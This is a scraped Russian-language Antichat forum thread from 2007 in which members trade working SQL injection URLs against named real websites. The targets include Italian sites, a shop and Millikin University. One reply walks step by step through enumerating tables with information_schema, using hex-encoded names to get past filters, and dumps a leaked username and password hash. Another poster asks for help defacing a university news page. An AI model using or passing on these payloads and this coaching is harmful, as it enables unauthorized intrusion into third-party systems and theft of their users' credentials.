Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
28.11.2007, 16:49
|
|
Познающий
Регистрация: 04.04.2007
Сообщений: 54
Провел на форуме:
189215
Репутация:
86
|
|
Код:
http://www.progettocompetence.it/sito/sistema/articolo.php?id=-1+union+select+1,2,table_name,4,5+from+information _schema.tables/*
что дальше делать не подскажите? |
|
|
28.11.2007, 17:07
|
|
Members of Antichat - Level 5
Регистрация: 24.10.2007
Сообщений: 256
Провел на форуме:
6905523
Репутация:
1174
|
|
Сообщение от Mike 007
что дальше делать не подскажите?
Код:
http://www.progettocompetence.it/sito/sistema/articolo.php?id=-1+union+select+1,2,concat(table_schema,0x3a,table_name),4,5+from+information_schema.columns+where+column_name=0x70617373776F7264+--+
progettocompetence_it:areariservata_utenti
Код:
http://www.progettocompetence.it/sito/sistema/articolo.php?id=-1+union+select+1,2,column_name,4,5+from+information_schema.columns+where+table_schema=0x70726F676574746F636F6D706574656E63655F6974+and+table_name=0x617265617269736572766174615F7574656E7469+limit+1,1+--+
id
userid
password
Код:
http://www.progettocompetence.it/sito/sistema/articolo.php?id=-1+union+select+1,2,concat_ws(0x3a,id,userid,password),4,5+from+progettocompetence_it.areariservata_utenti+limit+0,1+--+
1:Ilic:ff112557a3a0a4d1e74f56e0ac979467
Крути limit ....
|
|
|
|
28.11.2007, 21:00
|
|
Познающий
Регистрация: 04.04.2007
Сообщений: 54
Провел на форуме:
189215
Репутация:
86
|
|
Код:
http://www.mpa-lazio.it/articolo.php?id=-1+union+select+1,2,3,table_name,5,6,7,8+from+information_schema.COLUMNS/*
а тут что делать? |
|
|
|
28.11.2007, 21:09
|
|
Members of Antichat - Level 5
Регистрация: 24.10.2007
Сообщений: 256
Провел на форуме:
6905523
Репутация:
1174
|
|
Сообщение от Mike 007
Код:
http://www.mpa-lazio.it/articolo.php?id=-1+union+select+1,2,3,table_name,5,6,7,8+from+information_schema.COLUMNS/*
а тут что делать? Аналогично вышеизложенному.
|
|
|
|
28.11.2007, 21:45
|
|
Познающий
Регистрация: 04.04.2007
Сообщений: 54
Провел на форуме:
189215
Репутация:
86
|
|
а +where+co lumn_name= 0x70617373776F7264+--+ откуда?
и
Код:
+where+table_schema=0x70726F676574 746F636F6D706574656E63655F6974+and+table_name=0x61 7265617269736572766174615F7574656E7469+limit+1,1+--+
откуда взяось?
Последний раз редактировалось Mike 007; 28.11.2007 в 21:54..
|
|
|
|
28.11.2007, 21:47
|
|
Members of Antichat - Level 5
Регистрация: 24.10.2007
Сообщений: 256
Провел на форуме:
6905523
Репутация:
1174
|
|
Сообщение от Mike 007
а +where+co lumn_name=0x70617373776F7264+--+ откуда?
Это hex представление столбца password
|
|
|
|
29.11.2007, 08:01
|
|
Новичок
Регистрация: 28.11.2007
Сообщений: 1
Провел на форуме:
20520
Репутация:
0
|
|
Код:
http://terminovo.com/index.php?main_page=products_general_i nfo &products_id=99999999
Фильтруются отдельные символы и буквы, через hex,char ничего не выходит.
Последний раз редактировалось 77oody; 29.11.2007 в 08:03..
|
|
|
|
29.11.2007, 10:37
|
|
Участник форума
Регистрация: 25.05.2007
Сообщений: 147
Провел на форуме:
2313429
Репутация:
728
|
|
Фильтруются отдельные символы и буквы, через hex,char ничего не выходит.
При чем здесь хекс или char? Там же инклуд(и то маловероятно что провернешь), а не скуля
|
|
|
|
30.11.2007, 04:43
|
|
Новичок
Регистрация: 28.11.2007
Сообщений: 5
Провел на форуме:
33325
Репутация:
0
|
|
Код:
http://www.millikin.edu/athletics/archives_sport.asp?SPORT=6%20and%201=1%20UNION+SELECT+1,2,3,NULL+FROM%20INFORMATION_SCHEMA.TABLES%20--
Исключительно в образовательных целях хотелось бы изменить вот эту страничку
Код:
http://www.millikin.edu/media/print_release.asp?NEWS_ID=1227
имена таблиц похоже только методом тыка.. через ; пробовал менять таблицу news - толку 0... |
|
|
|
30.11.2007, 09:04
|
|
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
Провел на форуме:
12985021
Репутация:
676
|
|
noneim
имена таблиц похоже только методом тыка..
можно и не методом тыка 
http://www.millikin.edu/athletics/archives_sport.asp?SPORT=(SELECT%20TOP%201%20TABLE _SCHEMA%20FROM%20INFORMATION_SCHEMA.TABLES)
дальше наверно сам разберешся... 
на всякий случай прочитай:
https://forum.antichat.ru/showthread.php?t=30501
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
